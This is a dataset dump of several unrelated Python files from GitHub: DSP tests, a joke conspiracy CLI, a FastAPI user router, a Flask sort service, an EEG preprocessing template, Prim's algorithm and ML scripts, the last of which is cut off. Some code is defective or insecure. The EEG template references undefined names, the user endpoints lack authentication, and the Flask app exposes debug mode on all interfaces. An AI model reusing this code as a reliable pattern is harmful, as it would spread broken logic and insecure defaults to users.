np.log10(adsp.normalize(np.abs(np.fft.rfft(delta))))[start:end]\n        rangeDB = np.max(delta_fft) - np.min(delta_fft)\n        self.assertTrue(\n            rangeDB < 2.0, 'Inverse probe does not have correct frequency response!')\n\n    def test_inverse_probe_imp(self):\n        far = adsp.Farina(10, _fs_)\n        delta = signal.convolve(far.probe, far.inv_probe)\n        delta_sort = np.sort(np.abs(delta))\n        ratio = delta_sort[-1] / delta_sort[-2]\n\n        self.assertTrue(\n            ratio > 5, 'Probe and inverse probe does not convolve to a delta!')\n\n    def test_freq_response_lin(self):\n        far = adsp.Farina(20, _fs_)\n        meas = self.lin_sys(far.probe)\n        far.process_measurement(meas)\n\n        freqs = np.fft.rfftfreq(self.N, 1.0/_fs_)\n        start = np.argwhere(freqs > 100)[0][0]\n        end = np.argwhere(freqs < 16000)[-1][0]\n\n        test_fft = 20 * \\\n            np.log10(adsp.normalize(np.abs(np.fft.rfft(self.test_filt))))[\n                start:end]\n        far_fft = 20 * \\\n            np.log10(adsp.normalize(np.abs(np.fft.rfft(far.get_IR()[:self.N]))))[\n                start:end]\n        error = np.max(np.abs(test_fft - far_fft))\n\n        self.assertTrue(\n            error < 10, 'Incorrect frequency response for linear system!')\n\n    def test_THD_lin(self):\n        far = adsp.Farina(20, _fs_)\n        meas = self.lin_sys(far.probe)\n        far.process_measurement(meas)\n\n        thd = far.getTHD()\n        self.assertTrue(thd < 0.1, 'Incorrect THD for linear system!')\n\n    def test_freq_response_nonlin(self):\n        far = adsp.Farina(20, _fs_)\n        meas = self.nonlin_sys(far.probe)\n        far.process_measurement(meas)\n\n        freqs = np.fft.rfftfreq(self.N, 1.0/_fs_)\n        start = np.argwhere(freqs > 100)[0][0]\n        end = np.argwhere(freqs < 16000)[-1][0]\n\n        test_fft = 20 * \\\n            np.log10(adsp.normalize(np.abs(np.fft.rfft(self.test_filt))))[\n                start:end]\n        far_fft = 20 * \\\n            np.log10(adsp.normalize(np.abs(np.fft.rfft(far.get_IR()[:self.N]))))[\n                start:end]\n        error = np.max(np.abs(test_fft - far_fft))\n\n        self.assertTrue(\n            error < 10, 'Incorrect frequency response for nonlinear system!')\n\n    def test_THD_nonlin(self):\n        # get reference THD from sine wave test\n        N = _fs_*2\n        freq = 1000\n        sine = np.sin(2 * np.pi * np.arange(N) * freq / _fs_)\n        y = self.nonlin_sys(sine)\n\n        V_rms = np.zeros(9)\n        for n in range(1, 10):\n            low_freq = freq*n - 30\n            b_hpf, a_hpf = signal.butter(\n                4, low_freq, btype='highpass', analog=False, fs=_fs_)\n\n            high_freq = freq*n + 30\n            b_lpf, a_lpf = signal.butter(\n                4, high_freq, btype='lowpass', analog=False, fs=_fs_)\n\n            harmonic = signal.lfilter(\n                b_hpf, a_hpf, (signal.lfilter(b_lpf, a_lpf, y)))\n            V_rms[n-1] = np.sqrt(np.mean(harmonic**2))\n\n        sine_thd = np.sqrt(np.sum(V_rms[1:]**2)) / V_rms[0]\n\n        # get measured THD from Farina\n        far = adsp.Farina(20, _fs_)\n        meas = self.nonlin_sys(far.probe)\n        far.process_measurement(meas)\n        far_thd = far.getTHD()\n\n        error = np.abs(far_thd - sine_thd)\n        self.assertTrue(\n            error < 0.1, f'Incorrect THD! Sine: {sine_thd}, Far: {far_thd}')\n","repo_name":"jatinchowdhury18/audio_dspy","sub_path":"tests/test_farina.py","file_name":"test_farina.py","file_ext":"py","file_size_in_byte":4273,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"77"}
+{"seq_id":"71856469049","text":"\"\"\"\n    view.py\n    This file contains functions that provide the command line interface.\n\"\"\"\nfrom back.datastore import Connection\n\n# Ask user for a menu choice and validates response\ndef get_choice(menu):\n\n    print(menu)\n\n    while True:\n        command = input('Enter a key: ').upper()\n        if menu.is_valid(command): #Get command\n            return command\n        else:\n            print('Not a valid choice, try again.')\n\n\n# Asks the user if they want to save the data returns valid answer\ndef get_save():\n\n    while True:\n        save = input('Would you like to bookmark this data? Enter Y/N: ').upper()\n        if save in ['Y', 'N']:\n            return save\n        else:\n            print('Not a valid choice. Try again.')\n\n\n# Display all data from table or no data message\ndef show_data(connections):\n\n    if connections:\n        print('')\n        for connection in connections:\n            print(connection)\n        print('')\n    else:\n        print('No data to display.')\n\n\n# Messages containing info from the apis printed in various ways based on results\ndef show_correlation(new_connection):\n\n    print(f\"On {new_connection.date} the International Space Sation went over the coordinates, {new_connection.latitude}, {new_connection.longitude}.\")  \n    if(new_connection.magnitude and new_connection.air):\n        print(f\"At that exact location there was both an earthquake of magnitude {new_connection.magnitude} and the air quality was {new_connection.air}. The Illuminati world government is clearly behind this.\")\n    elif(new_connection.magnitude):\n        print(f\"Around this location there was an earthquake of magnitude {new_connection.magnitude}. The Illuminati world government is clearly behind this.\")\n    elif(new_connection.air):\n        print(f\"At that exact location there the air quality was {new_connection.air}. The Illuminati world government is clearly behind this.\")\n    else:\n        print(f\"The government has spared us today enjoy a moment of peace.\")\n\n# Print messages\ndef message(msg):\n    \n    print(msg)\n\n\n# Get choice for which bookmark user would like to delete\ndef delete_selection(connections):\n\n    print('Which bookmark would you like to delete?')\n    choice = input('Enter bookmark number (Ex. 1,2,3...): ')\n\n    while not choice.isdigit(): # Make sure choice is a number\n        print('Not a valid choice. Try again')\n        choice = input('Enter bookmark number (Ex. 1,2,3...): ')\n        if choice.isdigit():\n            choice = int(choice)\n            if choice > 0 and choice <= len(connections): # If choice is a number between 1 and the number of bookmarks\n                break   # Break -- choice is acceptable\n\n    return choice\n    ","repo_name":"laneenget/wake-the-sheeple","sub_path":"front/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35414874287","text":"from fastapi import APIRouter, Depends, exceptions, status\nfrom fastapi.security import OAuth2PasswordRequestForm\nfrom sqlalchemy.orm import Session\n\nfrom app import crud, schemas\nfrom app.core.dependecies import get_current_user, get_db\nfrom app.core.security import authenticate, create_access_token\nfrom app.models import User\n\nrouter = APIRouter()\n\n\n@router.get(\n    \"/users/\",\n    response_model=list[schemas.UserOutDB],\n    status_code=status.HTTP_200_OK,\n)\ndef user_list(\n    db: Session = Depends(get_db),\n    skip: int = 0,\n    limit: int = 100,\n):\n\n    return crud.user.get_multi(db, skip, limit)\n\n\n@router.post(\n    \"/users/\",\n    response_model=schemas.UserOutDB,\n    status_code=status.HTTP_201_CREATED,\n)\ndef user_create(user: schemas.UserCreate, db: Session = Depends(get_db)):\n\n    if crud.user.get_user_by_email(db, user.email) is not None:\n        raise exceptions.HTTPException(\n            status.HTTP_400_BAD_REQUEST,\n            detail={\"message\": \"This email is already registered.\"},\n        )\n\n    return crud.user.create(db, user)\n\n\n@router.get(\n    \"/users/{user_id}/\",\n    response_model=schemas.UserOutDB,\n    status_code=status.HTTP_200_OK,\n)\ndef get_single_user(user_id: int, db: Session = Depends(get_db)):\n    user = crud.user.get(db, user_id)\n    if user is None:\n        raise exceptions.HTTPException(\n            status.HTTP_404_NOT_FOUND, detail={\"message\": \"User not found.\"}\n        )\n    return crud.user.get(db, user_id)\n\n\n@router.put(\n    \"/users/{user_id}/\",\n    response_model=schemas.UserOutDB,\n    status_code=status.HTTP_200_OK,\n)\ndef update_user_with_put(\n    user_id: int, update_schema: schemas.UserUpdate, db: Session = Depends(get_db)\n):\n    user = crud.user.get(db, user_id)\n    if user is None:\n        raise exceptions.HTTPException(\n            status.HTTP_404_NOT_FOUND, detail={\"message\": \"User not found.\"}\n        )\n    return crud.user.update(db, user, update_schema)\n\n\n@router.patch(\n    \"/users/{user_id}/\",\n    response_model=schemas.UserOutDB,\n    status_code=status.HTTP_200_OK,\n)\ndef update_user_with_patch(\n    user_id: int, update_schema: schemas.UserUpdate, db: Session = Depends(get_db)\n):\n    user = crud.user.get(db, user_id)\n    if user is None:\n        raise exceptions.HTTPException(\n            status.HTTP_404_NOT_FOUND, detail={\"message\": \"User not found.\"}\n        )\n    return crud.user.update(db, user, update_schema)\n\n\n@router.post(\"/token\", response_model=schemas.AccessTokenResponse)\ndef login(\n    db: Session = Depends(get_db), login_form: OAuth2PasswordRequestForm = Depends()\n):\n    user = crud.user.get_user_by_email(db, login_form.username)\n    if user is None:\n        raise exceptions.HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=\"Unable to login with given credentials.\",\n        )\n\n    user = authenticate(user, login_form)\n\n    token_response = create_access_token(user)\n    return token_response\n\n\n@router.get(\n    \"/users/me\", response_model=schemas.UserOutDB, status_code=status.HTTP_200_OK\n)\ndef current_user(current_user: User = Depends(get_current_user)):\n    return current_user\n","repo_name":"EgehanGundogdu/fastapi-crud","sub_path":"src/app/api/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"29108634543","text":"import getData\n\n\nclass GrowCalculation:\n\n    def __init__(self, fieldid, seed, tractorid):\n        self.fuelCost = None\n        self.fuelUsed = None\n        self.timeDriven = None\n        self.milageDriven = None\n        self.avDieselPrice = 1.89\n        self.seed = seed\n        self.FieldId = fieldid\n        self.TractorId = tractorid\n        self.fieldData = getData.GetData().Field(self.FieldId)\n        self.seedData = getData.GetData().seeds(self.seed)\n        self.tractorData = getData.GetData().Tractors(self.TractorId)\n        self.yCount = []\n        self.xCount = []\n        self.seedCount = []\n\n    def calcData(self):\n        self.yCount = int(self.fieldData[1]) * 100 / int(\n            self.seedData[2]) - 1  # Berechnung der Anzahl von Körnern auf der y-Achse\n        self.xCount = int(self.fieldData[2]) * 100 / int(\n            self.seedData[3]) - 1  # Berechnung der Anzahl von Körnern auf der x-Achse\n        self.seedCount = int(self.xCount * self.yCount)  # Berechnung der gesamtanzahl von Körnern auf Feld\n        self.milageDriven = float(self.fieldData[2]) * float(self.yCount)  # Berechnung der insgesamt gefahrenen Distanz\n        self.timeDriven = round(\n            (self.milageDriven / 100) / float(self.tractorData[3]))  # Berechnung der insgesamt gefahrenen Zeit\n        self.fuelUsed = float(self.tractorData[2]) * self.timeDriven  # Berechnung des verbrauchten Diesels\n        self.fuelCost = self.fuelUsed * self.avDieselPrice  # Berechnung der Dieselkosten bei einem Preis von 1.89\n        return self.seedCount, int(self.xCount), int(self.yCount), round(\n            self.milageDriven), self.timeDriven, self.fuelUsed, self.fuelCost  # Rückgabe der berechneten Daten\n","repo_name":"FaidHD/Facharbeit","sub_path":"growCalculation.py","file_name":"growCalculation.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"7551351142","text":"from flask import Flask, request, jsonify\n\napp = Flask(__name__)\n\nclass MergeSort:\n    @staticmethod\n    def sort(arr):\n        if len(arr) > 1:\n            # Divide the array into two halves\n            mid = len(arr) // 2\n            left = arr[:mid]\n            right = arr[mid:]\n\n            # Recursively sort the two halves\n            MergeSort.sort(left)\n            MergeSort.sort(right)\n\n            # Merge the sorted halves\n            i = j = k = 0\n\n            while i < len(left) and j < len(right):\n                if left[i] < right[j]:\n                    arr[k] = left[i]\n                    i += 1\n                else:\n                    arr[k] = right[j]\n                    j += 1\n                k += 1\n\n            while i < len(left):\n                arr[k] = left[i]\n                i += 1\n                k += 1\n\n            while j < len(right):\n                arr[k] = right[j]\n                j += 1\n                k += 1\n\n        return arr\n\n@app.route('/sort', methods=['POST'])\ndef sort():\n    data = request.json\n    unsorted_arr = data['arr']\n    ms = MergeSort()\n    sorted_arr = ms.sort(unsorted_arr)\n    return jsonify({'sorted_arr': sorted_arr})\n\nif __name__ == '__main__':\n    app.run(debug=True, host='0.0.0.0')\n","repo_name":"ViniSpeck/PAC8","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37358547235","text":"\"\"\"Template script for running EEG preprocessing.\n\nMoving from notebook -> script\n\n1) Generalize, in the notebook, load file procedure\n    - Have data all in one folder, in the notebook scan the folder, get a list of all files\n    - Filter files: files = [file_name for file_name in subj_files if 'FILE_TYPE' in file_name]\n\"\"\"\n\n## IMPORTS\nimport os\nfrom os.path import join as pjoin\n\nimport mne\nfrom mne.preprocessing import ICA, read_ica\nfrom autoreject import AutoReject\n\n###################################################################################################\n###################################################################################################\n\n# SETTINGS\n\n#  Anything that is a predefined parameter or setting, to be used across all subjects\n#    Anything that we might change\n#    Purpose: everything in one place\n\n# Note: Settings are defined as globals\n#  This makes them accessible from within the 'main' function\n\n# Processing options\nRUN_ICA = False\nRUN_AUTOREJECT = False\n\n# Set paths for the project\nBASE_PATH = \"path/to/project/directory\"\nDATA_PATH = op.join(SAVE_PATH, \"Data\")\nANALYSIS_PATH = op.join(SAVE_PATH, \"Analysis\")\nRESULTS_PATH = op.join(ANALYSIS_PATH, \"Results\")\nICA_PATH = op.join(ANALYSIS_PATH, \"ICA\")\nREJ_PATH = op.join(ANALYSIS_PATH, \"REJ\")\n\n# Set event codes\n_ADD_EVENT_RELATED_STUFF_HERE_ = None\n\n# Set channel groups\nEOG_CHS = []\n\n# Set other settings\nMY_VAR = 'value'\n\n###################################################################################################\n###################################################################################################\n\ndef main():\n\n    # Set MNE verbosity level\n    mne.set_log_level(verbose=False)\n\n    # SETUP\n    # Any work that's outside the loop\n\n    # Get all subj files\n    #   This also set up to do some kind of cleaning of the files list, list if needed\n    subj_files = [file_name for file_name in os.listdir(DATA_PATH) if 'FILE_TYPE' in filename]\n    n_subjs = len(subj_files)\n\n    # Set up any group level collections\n    outputs = np.array(shape=[10, 10])\n\n    # Loop across all subjects\n    for subj_ind, subj_file in enumerate(subj_files):\n\n        # Add status updates\n        print('Running Subject # ', subj_ind)\n\n\n        ## DATA LOADING & SET UP ##\n\n        # Load subject of data\n        eeg_dat = '' # mne.io.read_...\n\n        # Set any channel types - if needed\n\n        # Load / set up montage\n        chs = mne.channels.read_montage(_STANDARD_MONTAGE_NAME_, eeg.ch_names)\n        eeg_dat.set_montage(chs)\n\n        # Do any event management needed\n        evs = eeg_dat.find_events(eeg_dat)  # Get the array of events - if needed\n\n        # Set EEG reference if needed\n        #   Note: depending on what you're referencing to, might want to do this later\n        eeg_dat.set_eeg_reference(_REFERENCE_TO_SET_)\n\n        ## EPOCHING ##\n\n        # Epoch data\n        epochs = mne.Epochs(eeg_dat, evs, ev_dict, tmin, tmax,\n                            baseline=None, preload=True, verbose=False)\n\n        ## RUN ICA ##\n\n        if RUN_ICA:\n\n            print('\\tRunning ICA')\n\n            # ICA Settings: NOTE - UPDATE THESE AS NEEDED\n            method = 'fastica'\n            n_components = 0.99\n            random_state = 47\n            reject = {'eeg': 20e-4}\n            thresh = 2.5\n\n            # Initialize ICA object\n            ica = ICA(n_components=n_components, method=method, random_state=random_state)\n\n            # High-pass filter data for running ICA\n            eeg_dat.filter(l_freq=1., h_freq=None, fir_design='firwin');\n\n            # Fit ICA\n            ica.fit(eeg_dat, reject=reject)\n\n            # Find components to drop, based on correlation with EOG channels\n            drop_inds = []\n            for chi in EOG_CHS:\n                inds, scores = ica.find_bads_eog(eeg_dat, ch_name=chi,\n                                                 threshold=thresh, verbose=False)\n                drop_inds.extend(inds)\n            drop_inds = list(set(drop_inds))\n\n            # Set which components to drop, and collect record of this\n            ica.exclude = drop_inds\n            #dropped_components[s_ind, 0:len(drop_inds)] = drop_inds\n\n            # Save out ICA solution\n            ica.save(pjoin(ICA_PATH, str(subj_ind) + '-ica.fif'))\n\n            # Apply ICA to data\n            eeg_dat = ica.apply(eeg_dat);\n\n        ## RUN AUTOREJECT ##\n\n        if RUN_AUTOREJECT:\n\n            print('\\tRunning AutoReject')\n\n            # Initialize and fit autoreject model across epochs\n            ar = AutoReject(n_jobs=4, verbose=False)\n            ar = ar.fit(epochs)\n\n            # Save out autoreject - currently using a pickle file\n            with open(pjoin(REJ_PATH, str(subj_ind) + '-ar.p'), 'wb') as ar_pickle_file:\n                pickle.dump(ar, ar_pickle_file)\n\n            # Apply autoreject\n            # NOTE: Can apply to multiple copies of the data, here or later\n            #  For example - can apply to copies that each have different filtering\n            epochs, rej_log = ar.transform(epochs, return_log=True)\n\n\n        ## SAVE OUT PREPROCESSED DATA ##\n\n        # Save out preprocessed epochs object\n        epochs.save(_FNAME_)\n        print('\\t Subject finished & saved.')\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"structuredscience/EEGTemplate","sub_path":"scripts/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":5290,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"4455282257","text":"#!/usr/bin/env python\n\"\"\"\nImplements Prim's algorithm for finding a minimum spanning tree.\n\nAlex Zvoleff, aiz2101@columbia.edu\n\"\"\"\n\nimport sys\nfrom heapq import heappush, heappop\n\nimport network\n\ndef primsAlg(segments, numNodes, firstNodeID, excludedNodes = [], \n        nodeDict = None):\n    'Prim\\'s Algorithm for finding a minimum spanning tree'\n\n    # How to start from old tree\n        # make parameter with existing tree (instance of network.Network)\n        # can use old buildAssocDict (even though it's not optimal)\n        # when getting the best first segment (algorithm starter segment),\n            # add a check to make sure the first segment is not in the old tree\n    \n    tree = network.Network()\n    if nodeDict == None:\n        nodeDict = buildAssocDict(segments, excludedNodes)\n    segHeap = []\n\n    # Find the shortest segment emanating from the node with the firstNodeID\n    try:\n        segs = nodeDict[firstNodeID]\n    except KeyError:\n        return tree\n\n    leastWeight = None\n    for seg in segs:\n        if (seg.getWeight() < leastWeight) or (leastWeight == None):\n            leastWeight = seg.getWeight()\n            firstSeg = seg\n    tree.addSeg(firstSeg)\n\n    # Starter to algorithm\n    # Add the segs emanating from the first two endpoints to the heap\n    for endNode in [firstSeg.getNode1(), firstSeg.getNode2()]:\n        addToHeap(segHeap, nodeDict[endNode.getID()])\n\n    # Pick best from heap and repeat\n    while tree.numNodes() < numNodes:\n        try:\n            # Get best segment from heap\n            seg = heappop(segHeap)\n        except:\n            # Tree is finished (not all nodes contained).\n            break\n        node1, node2 = seg.getNodes()\n        node1InNet = tree.inNet(node1)\n        node2InNet = tree.inNet(node2)\n        # Add the seg if it's terminal node isn't already in the cluster.\n        if (not node1InNet) or (not node2InNet):\n            if not node1InNet:\n                endNode = node1\n            else:\n                endNode = node2\n            tree.addSeg(seg)\n            # Add all emanating segs to the heap:\n            # nodeDict returns all segments coming out from the endNode\n            # endNode is the node that is outside of the tree\n            addToHeap(segHeap, nodeDict[endNode.getID()])\n            # And we are sure that everything in the heap is adjacent to the tree because\n            # we only add the adjacent segments in the first place using nodeDict\n    return tree\n\ndef addToHeap(heap, newSegs):\n    'Adds new segments to the segHeap.'\n    for seg in newSegs:\n        heappush(heap, seg)\n    return heap\n\ndef buildAssocDict(segments, excludedNodes = []):\n    'Builds dictionary with nodeID key where values are segs from/to that node'\n    segList = {}\n    for seg in segments:\n        node1, node2 = seg.getNodes()\n        if (node1 in excludedNodes) or (node2 in excludedNodes):\n            continue\n        else:\n            for nodeID in [node1.getID(), node2.getID()]:\n                if segList.has_key(nodeID):\n                    segList[nodeID].append(seg)\n                else:\n                    segList[nodeID] = [seg]\n    return segList\n","repo_name":"SEL-Columbia/network-planner-algorithm-tools","sub_path":"modules/prims.py","file_name":"prims.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"29103147059","text":"import scipy\nimport pandas as pd\n\ndef calculate_similarity(job_embeddings, resume_embeddings):\n    distance = scipy.spatial.distance.cdist([job_embeddings], [resume_embeddings], \"cosine\")[0]\n    similarity = 1-distance[0]\n    return similarity\n\ndef find_similarity(jobs, resume, model):\n    '''\n    Parameters\n        jobs (pd.DataFrame):\n            a pandas DataFrame containing job title, job description & link to website\n\n        resume (str):\n            data extracted from the resume\n\n    Returns: list of dicts\n    '''\n\t# Each sentence is encoded as a 1-D vector with 78 columns\n    resume_info = [resume]\n    resume_embeddings = model.encode(resume_info)\n\n\t# Get embeddings of jobs in the jobs DataFrame\n    jobs['embeddings'] = model.encode(jobs['description'])\n    jobs['similarity'] = jobs['embeddings'].apply(calculate_similarity, args=resume_embeddings)\n    jobs = jobs.sort_values(by=['similarity'], ascending=False)\n    jobs = jobs[['title', 'description', 'link', 'similarity']]\n    jobs = jobs.reset_index()\n    jobs = jobs[['title', 'description', 'link', 'similarity']]\n    jobs_dict = jobs.to_dict()\n    return jobs_dict\n'''\nBelow is a sample response.\n\n\n{'title': \n{0: 'Software Engineer 1', \n 1: 'Software Engineer 4',\n 2: 'Software Engineering Lead', \n 3: 'Software Engineer 2',\n 4: 'Software Engineer 3'},\n 'description': \n {0: 'Description: Software Engineer 1 Product Development Nashville, TN Asurion s product development teams are focused on helping people love and get the most from technology. We re ...',\n  1: 'Description: Software Engineer 4 Enterprise Data Services For twodecades, Asurion has led the technology protection industry around the globe.The Company provides premier support ...',\n  2: 'Description: Software Engineering Lead Product Development Nashville, TN Asurion s product development teams are focused on helping people love and get the most from technology ...  a team of software engineers of varying experience levels Partner with product management and design peers to take advantage of new technologies and incorporate a whole-team approach ...',\n  3: 'Description: Software Engineer 2 Product Development Nashville, TN Asurion s product development teams are focused on helping people love and get the most from technology. We re ...',\n  4: 'Description: WebDeveloper 3 The Sr. WebDeveloper/Software Engineer 3 possesses and applies a broad knowledge ofprinciples and practices in the field of software engineering ...'},\n 'link': \n {0: 'https://www.adzuna.com/land/ad/1547334217?se=5r5F6MCY6hGfPB0frV0H3g&utm_medium=api&utm_source=39d6c493&v=CCC22F133433CB38A3E35FF118F7ED90A9167F69',\n  1: 'https://www.adzuna.com/land/ad/1547334202?se=5r5F6MCY6hGfPB0frV0H3g&utm_medium=api&utm_source=39d6c493&v=2812759E5C63F0D040948AFEB09B18FDD8257B78',\n  2: 'https://www.adzuna.com/land/ad/1539277557?se=5r5F6MCY6hGfPB0frV0H3g&utm_medium=api&utm_source=39d6c493&v=5988B20D7F50239DCC93A92902CAEE62A9C9D993',\n  3: 'https://www.adzuna.com/land/ad/1547334218?se=5r5F6MCY6hGfPB0frV0H3g&utm_medium=api&utm_source=39d6c493&v=ED409EC832B1170A0BFDC1B9C97CA3FD11283C58',\n  4: 'https://www.adzuna.com/land/ad/1547334219?se=5r5F6MCY6hGfPB0frV0H3g&utm_medium=api&utm_source=39d6c493&v=CF722762DF8CDB54D8F7A8B5A1F560BBA5FF51AA'},\n 'similarity': \n {0: 0.5655256148302235,\n  1: 0.54622512610916,\n  2: 0.5427682377921388,\n  3: 0.5380590376419644,\n  4: 0.5194907625451657}\n}\n'''","repo_name":"liuhh02/jobsrepository","sub_path":"backend/similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"10716442867","text":"import numpy as np\r\nfrom ..code.L_layer_model import *\r\nimport matplotlib.pyplot as plt\r\nfrom ..code.predict import *\r\n\r\nplt.rcParams['font.sans-serif'] = ['SimHei']\r\nplt.rcParams['axes.unicode_minus'] = False\r\n\r\n\r\ndef normal(X):\r\n    X_mean = np.mean(X, axis=0)\r\n    X_std = np.std(X, axis=0)\r\n    X_normal = (X - X_mean) / (X_std + 1e-8)\r\n    return X_normal, X_mean, X_std\r\n\r\n\r\ndef normal2(X):\r\n    X_min = np.min(X, axis=0)\r\n    X_max = np.max(X, axis=0)\r\n    X_normal = (X - X_min) / (X_max - X_min + 1e-8)\r\n    return X_normal, X_min, X_max\r\n\r\n\r\ndataset = np.loadtxt('test71.csv', delimiter=',')\r\nX1 = dataset[0:14000, 0:61]  # 800x61\r\n# 10dB\r\nX1[0:14000, 60:61] = dataset[0:14000, 70:71]\r\n# X1=np.hstack((X1,dataset[0:400,65:]))\r\nY1 = dataset[0:14000, 65:66]  # 800x5\r\nX_normal, X_mean, X_std = normal(X1)\r\ntrain_x = X_normal.T  # 61x800\r\n\r\ntrain_y = Y1.T  # 5x800\r\nlayers_dims = [61, 7, 1]  # 5-layer model\r\n# parameters = L_layer_model(train_x, train_y, layers_dims,learning_rate=0.1, num_iterations =3500, lambd=0.1,print_cost = True,isPlot=False)\r\n\r\n# parameters1=L_layer_model(train_x, train_y, layers_dims, learning_rate=0.0225, mini_batch_size=256, lambd=0, num_iterations=3000,\r\n#               beta=0.9, optimizer='gd', print_cost=True, isPlot=True)\r\n# parameters2=L_layer_model(train_x, train_y, layers_dims, learning_rate=0.0225, mini_batch_size=256, lambd=0, num_iterations=3000,\r\n#               beta=0.9, optimizer='momentum', print_cost=True, isPlot=True)0.01745636673760633\r\nparameters3 = L_layer_model(train_x, train_y, layers_dims, learning_rate=0.0002567161349434759, mini_batch_size=64,\r\n                            lambd=0, num_iterations=1000,\r\n                            beta=0.9, optimizer='adam', print_cost=True, isPlot=True, over_stop=False)\r\n# parameters2=L_layer_model(train_x, train_y, layers_dims, learning_rate=0.002567161349434759, mini_batch_size=64, lambd=0, num_iterations=1000,\r\n#               beta=0.9, optimizer='momentum', print_cost=True, isPlot=True,over_stop=True)\r\n# parameters1=L_layer_model(train_x, train_y, layers_dims, learning_rate=0.002567161349434759, mini_batch_size=64, lambd=0, num_iterations=1000,\r\n#               beta=0.9, optimizer='RMSprop', print_cost=True, isPlot=True,over_stop=True)\r\n# parameters0=L_layer_model(train_x, train_y, layers_dims, learning_rate=0.002567161349434759, mini_batch_size=64, lambd=0, num_iterations=1000,\r\n#               beta=0.9, optimizer='adam', print_cost=True, isPlot=True,over_stop=True)\r\n\r\n\r\nx2 = dataset[14000:20000, 0:61]\r\nx2[0:6000, 60:61] = dataset[14000:20000, 70:71]\r\ny2 = dataset[14000:20000, 65:66]\r\nx2 = (x2 - X_mean) / (X_std + 1e-8)\r\ntest_x = x2.T  # 61x800\r\ntest_y = y2.T  # 5x800\r\n\r\ncost, error, testy2 = predict(train_x, train_y, parameters3[0], L=len(layers_dims), lambd=0)\r\nprint(cost)\r\nprint(error)\r\ncost, error, testy2 = predict(test_x, test_y, parameters3[0], L=len(layers_dims), lambd=0)\r\nprint(cost)\r\nprint(error)\r\n\r\n# #\r\n# cost,error,testy2 = predict(test_x, test_y, parameters2[0],L=len(layers_dims),lambd=0)\r\n# print(cost)\r\n# print(error)\r\n#\r\n# cost,error,testy2 = predict(test_x, test_y, parameters1[0],L=len(layers_dims),lambd=0)\r\n# print(cost)\r\n# print(error)\r\n# cost,error,testy2 = predict(test_x, test_y, parameters0[0],L=len(layers_dims),lambd=0)\r\n# print(cost)\r\n# print(error)\r\n\r\n\r\n# 噪声对测距性能的影响（(厚��未知)\r\n# # #信噪比为0db#\r\n# x2[0:6000,60:61]=dataset[14000:20000,66:67]\r\n# # #信噪比为10db#\r\n# x2[0:2000,60:61]=dataset[8000:10000,67:68]\r\n# # #信噪比为20db#\r\n# x2[0:2000,60:61]=dataset[8000:10000,68:69]\r\n# # #信噪比为30db#\r\n# x2[0:2000,60:61]=dataset[8000:10000,69:70]\r\n# # #信噪比为40db#\r\n# x2[0:2000,60:61]=dataset[8000:10000,70:71]\r\n# errors=[]\r\n# for i in range(0,5):\r\n#     x2 = dataset[14000:20000, 0:61]\r\n#     x2[0:6000, 60:61] = dataset[14000:20000, 66+i:67+i]\r\n#     y2 = dataset[14000:20000, 65:66]\r\n#     x2 = (x2 - X_mean) / (X_std + 1e-8)\r\n#     test_x = x2.T  # 61x800\r\n#     test_y = y2.T  # 5x800\r\n#     cost, error, testy2 = predict(test_x, test_y, parameters3, L=len(layers_dims), lambd=0)\r\n#     errors.append(error)\r\n# x=[0,10,20,30,40]\r\n# fig=plt.figure()\r\n# plt.plot(x,errors,'b-')\r\n# plt.ylabel('测距误差(m)')\r\n# plt.xlabel('信噪比(dB)')\r\n# plt.xticks(x)\r\n\r\n\r\n#\r\n# 距离对测距性能的影响(厚度未知)\r\na = []\r\nb = []\r\n# x2 = dataset[7000:10000, 0:61]\r\n#\r\n# y2 = dataset[7000:10000, 65:66]\r\n# x2 = (x2 - X_mean) / (X_std + 1e-8)\r\n# test_x = x2.T  # 61x800\r\n# test_y = y2.T  # 5x800\r\ncost, error, testy2 = predict(test_x, test_y, parameters3[0], L=len(layers_dims), lambd=0)\r\npred_y = np.squeeze(testy2)\r\ntrue_y = np.squeeze(test_y)\r\nd = []\r\ne = []\r\nf = []\r\ng = []\r\nh = []\r\np = []\r\nq = []\r\nfor i in range(0, 6000):\r\n\r\n    if (true_y[i] > 5 and true_y[i] <= 10):\r\n        d.append(abs(pred_y[i] - true_y[i]))\r\n    if (true_y[i] > 10 and true_y[i] <= 15):\r\n        e.append(abs(pred_y[i] - true_y[i]))\r\n    if (true_y[i] > 15 and true_y[i] <= 20):\r\n        f.append(abs(pred_y[i] - true_y[i]))\r\n    if (true_y[i] > 20 and true_y[i] <= 25):\r\n        g.append(abs(pred_y[i] - true_y[i]))\r\n    if (true_y[i] > 25 and true_y[i] <= 30):\r\n        h.append(abs(pred_y[i] - true_y[i]))\r\n    if (true_y[i] > 30 and true_y[i] <= 35):\r\n        p.append(abs(pred_y[i] - true_y[i]))\r\n    if (true_y[i] > 35 and true_y[i] <= 40):\r\n        q.append(abs(pred_y[i] - true_y[i]))\r\n# print(len(d), len(e), len(f), len(g), len(h), len(p), len(q))\r\nd = np.mean(d)\r\ne = np.mean(e)\r\nf = np.mean(f)\r\ng = np.mean(g)\r\nh = np.mean(h)\r\np = np.mean(p)\r\nq = np.mean(q)\r\na = [d, e, f, g, h, p, q]\r\nb = ['5-10', '10-15', '15-20', '20-25', '25-30', '30-35', 